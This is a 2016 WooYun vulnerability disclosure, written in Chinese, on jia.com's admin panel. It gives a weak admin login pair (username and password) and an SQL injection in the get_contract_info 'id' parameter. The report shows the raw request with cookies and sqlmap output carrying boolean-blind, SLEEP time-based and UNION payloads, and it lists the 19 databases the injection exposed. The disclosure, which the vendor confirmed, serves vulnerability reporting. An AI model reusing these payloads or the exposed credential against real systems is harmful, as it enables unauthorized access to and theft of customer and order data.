当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169951

漏洞标题:齐家网某处设计逻辑缺陷/SQL注入打包

相关厂商:jia.com

漏洞作者: null_z

提交时间:2016-01-17 16:38

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-17: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

~~~~

详细说明:

首先存在弱口令 wangjing 111111
http://admin.jia.com/
权限比较大可以看订单。

屏幕快照 2016-01-14 18.30.20.png

屏幕快照 2016-01-14 18.36.58.png


sql注入 参数id

GET /shop/shop/get_contract_info?id=10323*&shop_id=11126 HTTP/1.1
Host: admin.jia.com
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: visitor_id=56970480e4b01b9e54271ec3; jia_city_id=shanghai; jia_city_name=%E4%B8%8A%E6%B5%B7; TJJS3=gjefb5rhlusbwcba; __utma=108479641.1392467293.1452737908.1452737908.1452750107.2; __utmc=108479641; __utmz=108479641.1452737908.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); switch_city=%E4%B8%8A%E6%B5%B7; nTalk_CACHE_DATA={uid:qj_1000_ISME9754_guestTEMP4CEB-91AD-34,tid:1452749799886180}; NTKF_T2D_CLIENTID=guestTEMP4CEB-91AD-347D-1533-3DEC38098892; MALLSESSID=s8saonn5gpgrnuff03ji6g3ck6; Hm_lvt_f065368b6934c2ae9a483e5175624e9b=1452737836,1452749800,1452751715; Hm_lpvt_f065368b6934c2ae9a483e5175624e9b=1452767529; TJJID2=2-1ujsbrciftw32hio-1452737836423---1452737836423-1452766018130-1452767042042-1452767529074-100

屏幕快照 2016-01-14 18.36.17.png

漏洞证明:

sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://admin.jia.com:80/shop/shop/get_contract_info?id=10323' AND 8180=8180 AND 'PSym'='PSym&shop_id=11126
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://admin.jia.com:80/shop/shop/get_contract_info?id=10323' AND (SELECT * FROM (SELECT(SLEEP(5)))uFlU) AND 'umkN'='umkN&shop_id=11126
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: http://admin.jia.com:80/shop/shop/get_contract_info?id=-5082' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7176626271,0x777643766c7a527544505a725455756862454655506b754a794b4b75734a6a6f6447455344666572,0x7176706a71),NULL,NULL,NULL,NULL,NULL-- -&shop_id=11126
---
web application technology: Apache
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://admin.jia.com:80/shop/shop/get_contract_info?id=10323' AND 8180=8180 AND 'PSym'='PSym&shop_id=11126
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://admin.jia.com:80/shop/shop/get_contract_info?id=10323' AND (SELECT * FROM (SELECT(SLEEP(5)))uFlU) AND 'umkN'='umkN&shop_id=11126
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: http://admin.jia.com:80/shop/shop/get_contract_info?id=-5082' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7176626271,0x777643766c7a527544505a725455756862454655506b754a794b4b75734a6a6f6447455344666572,0x7176706a71),NULL,NULL,NULL,NULL,NULL-- -&shop_id=11126
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
available databases [19]:
[*] _del_DF_20140609bak
[*] _del_search_20140609bak
[*] _del_tuangou_20140702bak
[*] _del_web_db_20140609bak
[*] agent
[*] backup_db
[*] cms
[*] ConfigDB
[*] information_schema
[*] jia_promotion
[*] mysql
[*] NEWMALL
[*] NEWMALL_LOG
[*] performance_schema
[*] point_pool
[*] point_product
[*] test
[*] uc
[*] zhifu

修复方案:

如约而来,给20继续哦

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-18 08:48

厂商回复:

谢谢提交.欢迎继续.

最新状态:

暂无


漏洞评价:

评价